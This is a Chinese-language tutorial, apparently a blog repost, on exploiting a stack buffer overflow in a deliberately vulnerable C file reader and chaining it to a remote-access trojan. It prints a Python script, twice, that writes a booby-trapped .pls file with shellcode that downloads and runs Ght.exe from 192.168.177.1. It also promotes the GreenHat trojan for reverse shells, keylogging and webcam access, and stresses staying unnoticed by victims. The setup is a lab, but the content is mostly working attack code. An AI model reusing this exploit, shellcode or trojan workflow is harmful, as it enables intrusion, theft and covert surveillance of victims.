仁者见仁:缓冲区栈溢出之利用 Exploit 形成完整攻击链完全攻略(含有 PayLoad)
阅读原文时间:2023年07月11日阅读:5

> 前言

  • 内存缓冲区溢出又名 Buffer OverFlow,是一种非常危险的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出进行的攻击,小则导致程序运行失败、系统宕机等后果,大则可以取得系统特权,甚至是运行特定代码,正是因为其隐秘不易发现的性质,广泛受到 APT 组织的青睐。随着缓冲区溢出的出现,各大系统和软件厂商都积极的采取了相应的防范措施,建立了一系列的应急响应中心,比如微软、腾讯、Adobe、谷歌、360等,导致现在挖掘缓冲区溢出漏洞变得越来越难,在如今一个能够做到完美利用的缓冲区溢出漏洞通常价值不菲

  • 相比于漏洞的发掘,漏洞的利用同样是一门学问,其难度不亚于漏洞挖掘,特别是对抗系统的防御机制和绕过软件沙盒,需要对软件的运作流程和系统的内存处理机制具有很深的造诣,比如突破 DEP 防御的 ROP 返回导向编程,或者在内核级别提权;对了,还记得袁哥的上帝之手吗,通过仅仅几十行的代码就可以突破浏览器的所有保护,可谓是开启了天人模式

  • 不知聪明的你是否发现,从漏洞的发掘到漏洞的利用是否还少了点什么,被 APT 组织利用的这些漏洞可不仅仅是弹出一个对话框,搞搞恶作剧那么简单,APT 是什么意思?全球高级持续性威胁,要做到持续性威胁需要什么?答案是木马。木马是一个让所有受害者不寒而栗的一个词,一个外行人可能没有听说过缓冲区溢出攻击,但是绝对不会没有听说过木马,木马是漏洞利用后期阶段的一个非常重要的工具之一,是稳固战利品的一个必要武器。木马是什么,其实木马就是一个计算机远程控制软件(俗称远控),但不仅仅是远控这么简单,因为这些软件需要和杀毒软件做对抗,因此需要很高超的技术来隐藏自己,也就是免杀技术,比如编码、加壳、隐藏进程、防删除等等,更有一些恶毒的系统内核病毒,通过驻守在 MBRRing0 层来防止被杀毒软件清除,即使重装系统也无济于事,比如暗云系列和双枪系列

  • 缓冲区漏洞利用基本步骤流程图(以栈溢出利用为例):

  • 为了模拟缓冲区栈溢出,所以编写了一个可以读取文件内容的程序,如下所示:

    #include
    #include
    #include
    #include
    using namespace std;
    struct File
    {
    FILE* file;
    size_t fileread;
    DWORD filesize;
    };
    struct FileType
    {
    DWORD header;
    size_t headeroffset;
    DWORD type;
    size_t typeoffset;
    DWORD code;
    size_t codeoffset;
    };

    struct FileStream
    {
    size_t formatoffset;
    DWORD RetainWord1;
    DWORD RetainWord2;
    };

    long int ReadTestfile();
    long int ErrorCode = NULL;

    int main()
    {
    if (ReadTestfile() == 0)
    {
    cout << "[*] 程序结束" << endl;
    }
    else
    {
    cout << "[-] 程序异常" << endl;
    }
    return 0;
    }

    long int ReadTestfile()
    {
    // 创建含有漏洞的缓冲区
    char str[20];
    memset(str, 0, sizeof(str));

    // 打开文件
    File file = { 0 };
    file.file = fopen("D:\\stackoverflow.pls", "r+");
    if (file.file == NULL)
    {
        ErrorCode = 1;
        return ErrorCode;
    }
    cout << "[+] 开始打开文件" << endl;
    fseek(file.file, 0L, SEEK_END);
    
    // 读取文件大小
    file.filesize = ftell(file.file);
    cout << "[*] 文件大小为: " << file.filesize << endl;
    fseek(file.file, 0L, SEEK_SET);
    
    // 读取文件内容
    char* Buffer = (char *)malloc(file.filesize);
    file.fileread = fread(Buffer, file.filesize, 1, file.file);
    cout << "[*] 文件内容: " << Buffer << endl;
    
    // 模拟文件内容进行操作
    FileType filetype = { 0 };
    filetype.headeroffset = 4;
    filetype.typeoffset = 8;
    filetype.codeoffset = 12;
    
    strncpy((char *)&filetype.header, Buffer + filetype.headeroffset, 4);
    strncpy((char *)&filetype.type, Buffer + filetype.typeoffset, 4);
    strncpy((char *)&filetype.code, Buffer + filetype.codeoffset, 4);
    
    // 将文件偏移 16 的数据拷贝到大小为 20 的缓冲区 str
    strcpy(str, Buffer + 16);
    
    // 模拟对文件数据进行操作
    cout << "filetype.header: " << filetype.header << endl;
    cout << "filetype.type: " << filetype.type << endl;
    cout << "filetype.code: " << filetype.code << endl;
    
    FileStream filestream;
    filestream.formatoffset = 0;
    filestream.RetainWord1  = 4;
    filestream.RetainWord2  = 8;
    
    DWORD format = NULL;
    strncpy((char *)&format, str + filestream.formatoffset, 4);
    cout << "[*] FileFormat: " << endl;
    
    // 释放清理操作
    free(Buffer);
    fclose(file.file);
    return 0;

    }

  • 该程序的主要工作流程是读取名为 stackoverflow.pls 的文件,并且文件的内容赋值到相应的变量之中,在赋值 str 时,由于 str 缓冲区的大小只有 20,如果 strcpy 复制的数据大于 20 的话,就会引发缓冲区溢出

  • 由于清楚了程序的流程,所以创建 stackoverflow.pls 文件,之后使用 C32Asm (16进制分析文件工具,提取码:4sj8)打开文件,如图所示在文件编译 0x14 的地方填充了许多字符 'A',使之成为具有 POC 功能的文件

  • 使用 Windbg 加载程序并运行,可以发现 Eip 指向了 0x41414141,看来 POC 已经成功的触发了漏洞导致异常

  • 查看回溯,发现父函数地址为 0x004011c1,使用 bu 0x004011c1 下断点之后重新运行

  • 运行之后断在了这个函数上,使用 t 命令跟进函数,按 p 继续向下调试

  • 发现调用 image00400000+0x1330 (00401330) 之后触发异常,同样的方法,对 0x001237 地址下断点之后重新运行

  • 运行之后断在 0x001237,之后继续跟进这个函数

  • 之后在 0x00401667 的地方返回后触发异常,由此确定地址为 0x001237 的函数是触发异常的父函数,为了方便将它命名为 overflowfun 函数

  • 之后只需要在 overflowfun 函数开头的地方查看 Esp 的值,就可以确定该函数的返回地址,同时也可以确定覆盖的字符串位于返回地址的位置;如图所示:0x0245ff14 地址的位置储存着 overflowfun 函数的返回地址,触发异常后返回地址变为 0x41414141,并且在 0x0245ff1c 之后 'A' 字符就截止了

  • 再来看一下样本就可以很清楚的看出阴影部分的位置就是被覆盖的返回地址,同时缓冲区的大小为 0x20

  • 经过分析知晓了漏洞的原理和返回地址在 POC 样本中的位置,下面就可以使用 python 进行 Exploit 的开发(由于篇幅的限制,所以不打算将 ASLRDEP 的绕过写进来)

  • 在进行开发之前首先需要知道什么是 Exploit,这里有一个很形象的比喻:

  • 从上图可以看出 Exploit 完成攻击的一个完整步骤,极具模块化思想,一个完整的 Exploit 包含返回地址、跳转地址(上面分析的)和 shellcodeshellcode 是攻击当中的一个灵魂所在,正是利用它来执行恶意代码并下载木马。shellcode 开发流程:

  • 在以前开发 shellcode 需要手动编写,十分的麻烦,现在有许多工具可以简化这一步骤,下面就利用 ShellcodeCompiler (提取码:y00j)来进行开发。首先确定 shellcode 的功能:(1) 使用 URLDownloadToFileA 函数从公网服务器下载木马程序 (2) 使用 WinExec 执行木马程序 (3) 使用 ExitProcess 安全退出程序(防止被受害者察觉到)

注:关于服务器的搭建会在后面介绍

  • 将这些函数的功能写进 Source.txt 文件中,之后使用 ShellcodeCompiler 生成 shellcode

  • 如下图所示,命令运行后会生成两个文件,.bin 文件和 .asm 文件,.bin 文件是二进制格式文件,而 .asm 是对照的汇编文件

  • 打开 .bin 文件,这个就是最终生成的 shellcode,并且这个 shellcode 不含 NULL 终止符,而且函数 API 的调用是根据 PEB(进程环境块)进行动态调用,相比于手工编写确实方便了很多

  • 由于这个 shellcode 文件是以二进制方式打开的,不利于后面利用 python 构建,所以这里笔者写了一个 python 小脚本 BinaryConversion 来完成这个转换

    from os import path;
    import os;
    CDirectory = path.dirname(__file__);
    os.chdir(CDirectory);
    string = ""; result = ""; m = 1;
    try:
        with open("InputFile.txt", "r") as f:
            print("[*] Read File: InputFile.txt:")
            string = f.read()
    except Exception as e:
        print("[-] File does not exist")
        exit(0)
    if(len(string) == 0) or (len(string) > 10000):
        print("[-] The file is empty!")
        exit(0)
    print(string)
    print("")
    for i in string:
        result = result + i
        if(m % 2 == 0):
            result = result + "\\x"
        m = m + 1
    result = result[0:-2]
    result = "b\'\\x" + result + "\';"
    with open("OutFile.txt", "w") as f:
        print("[*] Write File: OutFile.txt:")
        f.write(result)
    print(result)
    print("")
  • 这个脚本会读取当前目录下的 InputFile.txt 准换过后输出至 OutFile.txt 文件:首先将二进制文件中的内容以 Hex 格式化的形式拷贝进 InputFile

  • 之后双击 BinaryConversion 脚本即可完成转换,打开查看OutFile 的内容:

  • 下面来整理一下制作 Exploit 需要哪些参数:(1) 溢出点数据距离文件偏移:0x14 (2) 缓冲区大小 0x20 (3) 返回地址:0245FF14 (4) 一些 NOP 指令 (5) 刚刚制作的 shellcode 二进制代码,接下来使用 python 脚本将他们组合起来就可以大功告成了:

    # shellcode 16进制编码
    shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\
    \x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\
    \xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\
    \x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\
    \xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\
    \x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\
    \x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\
    \x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\
    \x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\
    \x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\
    \x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\
    \x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\
    \x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\
    \xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\
    \x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\
    \x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\
    \x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\
    \x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\
    \xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\
    \x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\
    \xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\
    \x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\
    \x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04';
    
    # 缓冲区偏移 0x14 字节
    vulnerabilityOffset = b'';
    for x in range(0x14):
        vulnerabilityOffset += b'\x11';
    
    # 缓冲区大小 0x20 字节
    bufferSize = b'';
    for x in range(0x20):
        bufferSize += b'\x41';
    
    # 返回地址 0x4 字节
    returnAddress = b'';
    for x in range(0x4):
        returnAddress = b'\x14\xfb\x45\x02';
    
    # 汇编 nop 指令 0x8 字节
    nop = b'';
    for x in range(0x8):
        nop += b'\x90';
    
    # 将上面模块组合成 exploit
    exploit = b'';
    exploit += vulnerabilityOffset
    exploit += bufferSize
    exploit += returnAddress
    exploit += nop
    exploit += shellcode
    
    # 打印 exploit
    print(exploit)
    
    # 生成 stackoverflow.pls 攻击文件
    with open("stackoverflow.pls", "wb") as f:
        f.write(exploit);

注:以上的 shellcode 出于时间原因并没有经过编码加密操作,异或编码加密是流行的编码方式之一;Exploit 在编写完成之后还需要经过多次测试才能真正的投入使用

  • 知晓漏洞原理和完成了exploit 的编写后就可以发动攻击了吗?并没有,还记得上面讲到 APT 的时候说到持续性攻击吗,所以说还差一个木马(Payload)就大功告成了,木马的选取是十分麻烦的,因为编写这些木马的人大多数是黑客,编程水平层次不齐。一个烂木马 bug 多如牛毛,根本不能使用,而好的木马,不仅运行流畅,而且功能齐全。经过笔者的一番挑选之后,决定使用一款国外的木马 GreenHat,该木马十分小巧,性能强悍

注:木马虽然可以为入侵提供便捷,但木马很多时候却是一把双刃剑,因为编写和传播木马的人很多都是黑客(这里传播的意思是传播木马工具),有太多的人不怀好意的向木马软件中植入后门再赠与他人使用,使得使用木马的人反而会成为受害者,所以切记注意需要在虚拟机中使用。在网络世界(行内)除了你自己以外不要相信任何人

  • 如图所示在服务器上部署的这一款木马远控软件 GreenHat(绿帽子)(提取码:o7bd)

  • 点击 Builder 生成木马,IP 地址为本机 IP,其他配置为默认,点击 Build 就会在目录下生成木马文件

  • 只要在受害者的 PC 上运行这个程序即可,由于是虚拟机,所以点击一下测测效果

  • 成功连接上,可以看出本机 IP 地址为香港区域

  • 最后反弹 shell 并且输入 net user 命令进行测试。其实除了反弹 shellGreenHat 能做的事还有很多,比如监控键盘输入、监控受害者屏幕、开启摄像头、进行简单的文件传输,甚至可以进行分布式 DDOS 攻击…

  • 攻击前的准备都已经完成了,下面需要收集受害者的 PC 的信息,模拟进行测试,加大攻击成功率。攻击网络示意图:

注:IP 为 192.168.177.1 的攻击机使用 phpstudy 开启了 www 服务,木马就放置于 www 目录下以便受害者 PC 下载

  • 经过在 Windows 7的机器上调试之后,修改了返回地址,以适应 Windows 7 系统,最终的 python 脚本如下所示:

    # shellcode 16 进制编码
    shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\
    \x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\
    \xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\
    \x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\
    \xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\
    \x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\
    \x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\
    \x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\
    \x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\
    \x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\
    \x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\
    \x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\
    \x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\
    \xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\
    \x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\
    \x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\
    \x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\
    \x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\
    \xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\
    \x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\
    \xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\
    \x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\
    \x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04';
    
    # 缓冲区偏移 0x14 字节
    vulnerabilityOffset = b'';
    for x in range(0x14):
        vulnerabilityOffset += b'\x11';
    
    # 缓冲区大小 0x20 字节
    bufferSize = b'';
    for x in range(0x20):
        bufferSize += b'\x41';
    
    # 返回地址 0x4 字节
    returnAddress = b'';
    for x in range(0x4):
        returnAddress = b'\x30\xfb\x45\x02';
    
    # 汇编 nop 指令 0x8 字节
    nop = b'';
    for x in range(0x8):
        nop += b'\x90';
    
    # 将上面模块组合成 exploit
    exploit = b'';
    exploit += vulnerabilityOffset
    exploit += bufferSize
    exploit += returnAddress
    exploit += nop
    exploit += shellcode
    
    # 打印 exploit
    print(exploit)
    
    # 生成 stackoverflow.pls 攻击文件
    with open("stackoverflow.pls", "wb") as f:
        f.write(exploit);
  • 运行 python 脚本生成诱饵文件

  • 将文档放入受害者系统的 C 盘目录下,运行漏洞程序,以此模拟受害者打开漏洞文档并且触发漏洞

  • 运行之后,成功的下载了 Ght.exe 木马文件

  • 木马远控服务器也连接成功

  • 反弹 shell,查询其 IP 地址,完成此次攻击

  • 从开始针对栈溢出漏洞的完整利用,到后来利用远控木马形成完整攻击链的方式可以看出要想完成一次完美的缓冲区溢出攻击是十分艰难的,更何况有很多的细节没有写出来,比如防御机制的绕过、突破蜜罐沙盒、shellcode 加密、漏洞挖掘、病毒免杀操作、系统内核提权、传输协议加密、攻击伪装等等。袁哥说过安全界有三个时代:病毒时代、漏洞时代、对抗时代,而现在正处于对抗时代,再也不是人与计算机之间的对抗,而是人与人之间的博弈,以前一个人能完成的操作,现在需要一伙人,甚至是一群人合作才能完成;攻击的一方掌握了新的攻击方法,防御的一方就会立即制定出相应的措施,没有谁永远的处于优势,也没有谁长久的处于劣势

本次缓冲区栈溢出漏洞的完整利用介绍到此结束,如有错误,欢迎指正